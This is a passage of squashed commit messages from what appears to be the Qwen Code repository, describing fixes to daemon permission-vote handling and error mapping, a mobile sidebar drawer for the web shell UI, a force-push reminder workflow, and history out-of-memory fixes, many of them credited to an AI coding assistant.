session/permission handler already emits — otherwise the agent's prompt
stays blocked until teardown with no log to correlate.
- transport.test.ts: add end-to-end coverage for two previously-untested
handler branches — the no-pending 404 response (requestId misses the
registry with no sessionId) and the unowned-session rejection (a
connection voting on a session it does not own).
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* refactor(daemon): harden acp permission lookup and align registry api
Address the third ci-bot review round on PR #5912 (all non-blocking
suggestions):
- connection-registry.ts: collapse the redundant private
findPendingPermissionEntry pass-through into the public
findPendingPermission, and align deletePendingPermission to the same
(requestId, sessionId) argument order so the two can never be called with
swapped string args (a swap would silently match nothing and leak the
entry until teardown, with no type error).
- dispatch.ts session/permission: look the pending entry up by the
globally-unique requestId alone and treat the entry's own session as
authoritative; when the client supplies a sessionId that does not match,
reject with an explicit 409 instead of routing requireOwned and the bridge
vote at the wrong session (which left the real entry to leak until
teardown).
- Tests: add the sessionId-mismatch rejection case and update call sites for
the new argument order.
Out of scope and deferred: making the dispatcher's registry a required
constructor parameter (and the dependent dropResolvedPermission cleanup) —
that changes the constructor contract beyond this fix.
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): delete resolved permission by precise map key, fix comment
Address wenshao's review on PR #5912: findPendingPermission matches on
bridgeRequestId (a per-request randomUUID), not the connection-qualified
conn.pending map key. Under multi-client attach a permission_request reaches
every co-owning connection, each minting its own entry that shares the same
bridgeRequestId — so more than one entry can match and the prior "globally
unique, at most one match" comment was wrong.
- connection-registry.ts: correct the findPendingPermission doc to attribute
uniqueness to the map key (not matched here) and note co-owning connections
can share a bridgeRequestId, so callers needing a specific entry must act on
the conn/map-key they already hold.
- dispatch.ts dropResolvedPermission: delete the resolved entry by its exact
conn/map-key instead of re-matching by bridgeRequestId, which under
multi-attach could delete a sibling connection's entry and orphan the one
just resolved. Drops the now-unused req parameter.
deletePendingPermission stays for the session/permission handler, where the
lookup and delete consistently target the same first match.
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): align acp permission errors with REST 404/400/403 shapes
Address wenshao's two [Critical] review findings on PR #5912:
- session/permission no longer falls through to the bridge when the registry
misses. In the scoped route a sessionId is always supplied, so a stale/
unknown requestId previously routed to the caller's session, got a bridge
`false`, and was reported as a thrown 409 — diverging from the established
`404 -> false` contract of DaemonClient.respondToSessionPermission() and the
REST route. Now a registry miss returns 404; 409 is reserved for a present
entry the bridge still rejects.
- Wrap the bridge vote and map permission-specific throws like REST's
sendPermissionVoteError: InvalidPermissionOptionError -> INVALID_PARAMS with
httpStatus 400 + invalid_option_id, PermissionForbiddenError -> httpStatus
403 + permission_forbidden (with requestId/sessionId/reason). Previously
these fell through the outer catch into a generic httpStatus-less internal
error, so SDK callers saw 500s for normal permission outcomes. Import the
error classes from acp-session-bridge (as REST does) so instanceof matches
the class the bridge throws.
- Tests: cover the 404-on-miss-with-sessionId regression and the 400/403
mappings.
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* refactor(daemon): unify permission delete, whitelist vote forward
Address the fourth ci-bot review round on PR #5912 (non-blocking
suggestions):
- session/permission success path now drops the resolved entry through the
shared dropResolvedPermission helper using the conn/map-key pendingRef
already carries, instead of re-matching by requestId. Unifies the two
delete sites and keeps the deletion precise.
- parsePermissionResponse forwards only the bridge-contract fields (outcome
plus the ACP-reserved _meta passthrough) rather than copying every
remaining client key, removing a needless client-controlled surface on the
server-side bridge argument.
- transport.test.ts: the cross-connection permission test now asserts a
duplicate vote on the same id does not reach the bridge again, locking down
the cleanup guarantee that is the core of this PR.
Declined (replied on the threads): a blanket local try/catch around the
bridge vote (would shadow the outer dispatcher's typed-error mapping for
non-permission errors) and success-side audit logging in the generic
findPendingClientRequest (log noise / out of scope).
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): full REST parity for acp permission vote errors
Address the fifth ci-bot review round on PR #5912:
- session/permission now maps every permission-specific bridge throw like
REST's sendPermissionVoteError: InvalidPermissionOptionError -> 400,
PermissionForbiddenError -> 403, PermissionPolicyNotImplementedError -> 501
(policy), CancelSentinelCollisionError -> 500 (requestId/sentinel). The last
two previously fell through to the outer dispatcher catch and became a
generic -32603 without structured metadata.
- Truly unexpected bridge/sessionCtx failures now run the same
cancelAbandonedPermission fallback as the legacy resolveClientResponse path
(dropping the entry only if the cancel landed, else keeping it for teardown)
before rethrowing — so an unexpected error no longer leaves the mediator
blocking the agent's prompt until session teardown.
- parsePermissionResponse rebuilds the outcome sub-object from its validated
keys instead of forwarding it verbatim, so a client can no longer inject
extra outcome sub-fields (e.g. force) into the bridge argument; _meta is
forwarded only when it is an object.
- Tests: cross-connection vote via the session/permission method (ack on the
voter's stream + entry removed from the originator), plus the 501 and 500
error mappings.
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): preserve answers payload and delete only the voter's own entry
Address wenshao's two [Critical] findings on PR #5912:
- parsePermissionResponse no longer drops the AskUserQuestion `answers`
payload. The whitelist tightening forwarded only outcome/_meta, but the
bridge treats `answers` (an object map of string values) as the one
supported non-ACP permission-response field, so votes were resolving while
the agent received no submitted answers. Forward it under the same shape the
bridge validates.
- The session/permission success path now deletes only the voting
connection's OWN pending entry for the requestId, not the first
registry-wide match. pendingRef can belong to a sibling connection; under
the consensus policy respondToSessionPermission returns true for an
intermediate "recorded" vote, so deleting a sibling's entry could drop a
co-owner's still-needed request and stall the quorum. A cross-connection
voter with no own entry deletes nothing and leaves the originator's entry
for teardown.
- Tests: forward-answers/strip-unknown-fields case, and the cross-connection
method test now asserts a co-owner's vote does NOT delete the originator's
sibling entry.
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): validate legacy vote path and scope permission deletes to voter
Address the sixth ci-bot review round on PR #5912 (2 Critical + 4 suggestions):
- resolveClientResponse now validates/whitelists the client result through the
same parsePermissionResponse the session/permission handler uses. This PR
had widened that legacy path to any co-owning connection (via
findPendingClientRequest), so the raw `result as unknown` cast was a
cross-connection injection surface for arbitrary top-level args and extra
outcome sub-fields; a malformed result still throws and hits the cancel
fallback as before.
- The unexpected-error cancel fallback in the session/permission handler now
drops only the VOTING connection's own entry (via the new shared
dropOwnPendingPermission helper), not pendingRef — which is the first
registry-wide match and may be the originator's entry, whose deletion would
stall a consensus quorum still awaiting other co-owners.
- parsePermissionResponse logs a stderr line when a present-but-malformed
`answers` is dropped, instead of silently discarding it.
- Removed ConnectionRegistry.deletePendingPermission: it had no production
callers and its first-match semantics were unsafe under co-owned sessions
(deletion is done connection-scoped in the dispatcher).
- Tests: _meta object-preserved / non-object-dropped, and the generic
unexpected-error fallthrough (cancel fallback runs + error propagates).
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): structured 403 for unowned session/permission vote
Address wenshao's remaining [Critical] on PR #5912: the session/permission
ownership rejection went through the shared requireOwned, which sends an
INVALID_PARAMS error with no `data` envelope. Every other error path in this
handler carries `{ httpStatus }` (404/409/400/403/500/501), so SDK callers
that classify permission-vote failures by error.data.httpStatus got undefined
for the likeliest cross-connection failure (right session header, no
session/new on this connection). Inline the ownership check so the rejection
carries httpStatus 403 + sessionId + requestId, leaving the shared requireOwned
untouched for other handlers. Test asserts the 403.
(wenshao's other two criticals — legacy raw-result forwarding and the
catch-all deleting the originator's entry — were already fixed in 4bb06e5fd.)
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): structured 400 for invalid session/permission params
Address the latest ci-bot suggestion on PR #5912: parsePermissionResponse
throws AcpParamError, a plain Error with no httpStatus, which the outer
dispatcher catch maps to a bare INVALID_PARAMS — inconsistent with every other
error path in this handler (404/409/400/403/500/501 all carry httpStatus).
Catch AcpParamError locally and return a structured 400 with requestId, so SDK
callers that classify by error.data.httpStatus see a consistent shape. The
parametrized invalid-outcome test now asserts the 400.
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* perf(daemon): O(1) pending lookup, log vote success, cover malformed answers
Address wenshao's three suggestions on PR #5912:
- findPendingClientRequest parses the originating connectionId from the
server-minted id format (_qwen_perm_<connectionId>_<counter>) for an O(1)
byId lookup, falling back to the full scan for client-chosen ids.
- The session/permission success path now writes a stderr line ("vote
accepted") so an operator debugging a stuck prompt can tell it apart from
"vote never arrived" or "landed on another connection" — every failure
branch already logs.
- Added a test for the malformed-answers branch (non-string values) asserting
the vote still lands but answers are not forwarded to the bridge.
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(daemon): httpStatus on missing-requestId + cross-conn malformed vote test
Address the latest ci-bot review on PR #5912:
- The missing-`requestId` rejection in session/permission was the only error
branch without an { httpStatus } envelope. Add httpStatus 400 (+ requestId)
so SDK callers can classify it like every other validation error here. Test
asserts the 400.
- Add an integration test for the legacy resolveClientResponse cross-connection
variant: connection B (a co-owner) answers connection A's permission request
with a malformed result, parsePermissionResponse (added for this path) throws,
and the cancel fallback still releases the mediator.
Generated with AI
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
---------
Co-authored-by: 秦奇 <gary.gq@alibaba-inc.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* feat(web-shell): add mobile sidebar drawer with session list
Replace the display:none behavior at viewport <=760px with an overlay
drawer pattern. A hamburger menu button appears on mobile, tapping it
slides the existing WebShellSidebar in as a fixed overlay with a
semi-transparent backdrop. Selecting or creating a session auto-closes
the drawer. Desktop layout (>=761px) is unaffected.
Closes#6000
* fix(web-shell): address review feedback for mobile sidebar drawer
- Use display:contents for desktop wrapper transparency (Critical: sidebar was hidden)
- Fix z-index stacking so sidebar renders above backdrop in drawer
- Force sidebar expand when mobile drawer is open (collapsed state)
- Hide resizeHandle on mobile to prevent touch scroll conflicts
- Reset drawer state on viewport resize via matchMedia listener
- Add role=dialog, aria-modal, Escape key dismissal, body scroll lock
- Add aria-expanded to hamburger button
- Close drawer when opening Settings or resuming sessions
* fix(web-shell): address second round of review feedback
- Remove dead :global(.sidebar) selector (CSS Modules hash class names)
- Fix Escape key capture-phase handler to not intercept sidebar inputs
- Conditionally apply role=dialog/aria-modal only when drawer is open
- Stop toggling collapsed prop on drawer open/close to preserve sidebar state
- Add closeMobileDrawer() for bare /resume command path
- Fix hamburger button vertical centering in empty chat state on mobile
* fix(web-shell): fix stacking context and escape handler in mobile drawer
* fix(web-shell): prevent iOS Safari background scroll when drawer is open
* chore: remove accidentally committed .qwen-session and gitignore it
The .qwen-session file is a developer-local session UUID generated by
qwen serve. It was accidentally committed to the repo and should never
be tracked.
* fix(web-shell): address review feedback for mobile drawer
- Don't preventDefault touchmove inside the drawer so the session list
can scroll natively; only block scrolling on the page behind it.
- Defer Escape to a pending tool/permission approval (reject) instead of
closing the drawer when a prompt is visible.
- Reuse isEditableTarget from utils/dom and only bail out for editable
targets outside the drawer, so the drawer search input still closes on
the first Escape.
- Close the drawer before awaiting loadSession so it doesn't linger over
the old transcript, matching the other session-switch paths.
- Keep the drawer panel visible until the backdrop finishes fading out to
avoid a one-frame flicker on close.
Co-Authored-By: Qwen-Coder <noreply@qwen.ai>
* fix(web-shell): mobile drawer ignores collapsed rail + block backdrop scroll
- collapsed: a user who collapsed the desktop sidebar got a mobile drawer that
still rendered as the icon rail (no session list — the whole point of the
drawer). Force the expanded layout while the drawer is open.
- touchmove: the allowlist matched the outer [data-mobile-drawer] wrapper, which
also contains the full-screen backdrop, so a touchmove starting on the dim
backdrop skipped preventDefault and let iOS Safari scroll the page behind.
Exclude the backdrop so only the panel keeps native scroll.
Co-Authored-By: Qwen-Coder <noreply@qwen.ai>
* fix(web-shell): harden mobile drawer collapse, error path, and width cap
- Hide the sidebar collapse button while the mobile drawer is open so its
no-op toggle can no longer silently persist desktop collapsed state.
- Close the drawer before awaiting createSession() so a failed create no
longer leaves the drawer stuck open with page scroll locked.
- Drop redundant width/min-width/position from .sidebar.mobileOpen and cap
it with max-width:100vw so a wide persisted width can't overflow phones.
Co-Authored-By: Qwen-Coder <noreply@qwen.ai>
---------
Co-authored-by: pomelo-nwu <czynwu@gmail.com>
Co-authored-by: Qwen-Coder <noreply@qwen.ai>
* ci(workflows): remind authors not to force-push active PRs
Add a workflow that detects force-pushes (rebase/amend/reset) to open PRs
via the pull_request_target synchronize event and posts a one-time,
bilingual reminder that force-pushing invalidates existing review comments
and that the integration bots squash all changes into a single commit
automatically. A normal push (compare status "ahead") is ignored; the
reminder is posted at most once per PR, bot-initiated pushes are skipped,
and a failed compare is treated conservatively (no comment).
* ci(workflows): address review — add issues:write, serialize without cancel
- Add `issues: write`: the listComments/createComment calls go through the
Issues API; declaring it matches the repo's other PR-commenting workflows
and avoids any risk of a 403 making the workflow inert.
- Set `cancel-in-progress: false`: an in-flight run that already detected a
force-push must finish and post. The concurrency group still serializes
runs per PR, and the once-per-PR marker prevents duplicates, so later
pushes queue and then no-op instead of cancelling (and silently dropping)
a pending reminder.
* ci(workflows): harden force-push detection per review
- Marker dedup now requires the comment to be from github-actions[bot], so a
user pasting the marker string into a comment can't suppress reminders.
- Skip known automation logins (qwen-code-dev-bot et al.) that push via PAT as
sender.type 'User', not just GitHub App bots (mirrors qwen-autofix KNOWN_BOTS).
- Narrow the compare catch to 404 (orphaned old tip -> skip); rethrow other
errors so auth/rate failures go red instead of silently no-op'ing.
- Wrap createComment with structured error logging + rethrow.
Kept 3-dot compare and base-repo owner: verified that 3-dot returns
diverged/behind for force-pushes and that the base repo resolves fork-PR
commits, while the suggested 2-dot syntax 404s in the REST API.
* test(ci): add structural test for the force-push reminder workflow
- Add scripts/tests/pr-force-push-reminder-workflow.test.js (runs under
test:scripts, which CI chains into test:ci). It asserts the trigger, repo
guard, permissions, serialized concurrency, KNOWN_AUTOMATION sync with
qwen-autofix, the 3-dot compare on the base repo, 404-vs-rethrow, the marker
author check, and the bilingual body — locking in the reviewed behaviors.
- Wrap the listComments paginate call in the same core.error + rethrow the
other two API calls already use.
- Note that KNOWN_AUTOMATION must stay in sync with qwen-autofix.yml KNOWN_BOTS.
* ci(workflows): drop concurrency group, rely on marker for idempotency
A concurrency group keeps at most one pending run per group, so a burst of
pushes can cancel a still-pending force-push run before it reaches the script,
dropping the reminder this workflow exists to post. Remove the group entirely:
every synchronize event now runs independently and is always evaluated, and the
once-per-PR marker provides idempotency. A rare double-post on two
near-simultaneous first force-pushes is the acceptable cost of never silently
missing one. Update the structural test to assert there is no concurrency block.
The reviewer's suggested `queue: max` is not a valid GitHub Actions concurrency
key (only `group`/`cancel-in-progress` are allowed) and fails actionlint.
* test(ci): use Qwen Team header and assert the dedup skip path
- Switch the copyright header to the prevailing `Qwen Team` (14 of 17 sibling
test files use it; this file had copied an older Google LLC header).
- Assert the idempotency skip log line so removing the marker guard fails a test.
* test(ci): mechanically enforce KNOWN_AUTOMATION sync with qwen-autofix
Read qwen-autofix.yml's KNOWN_BOTS and assert each login is also skipped here,
so adding a bot there without updating this workflow fails the test instead of
silently drifting. Replaces the hardcoded login list whose comment overclaimed
that the sync was verified.
* fix(core): avoid cloning full history on API errors
* fix(core): address history OOM review feedback
* fix(core): resolve history OOM review comments
* fix(core): address remaining history OOM feedback
* fix(core): resolve API error diagnostic review
* fix(core): resolve history OOM review comments
* fix(core): exclude thought parts from error report textPreview
Thought-tagged parts (model reasoning tokens) were included in the
textPreview field of API error diagnostic summaries, potentially leaking
internal reasoning into error reports. Filter them out consistently with
the rest of the codebase.
* style(core): format compaction trigger reason union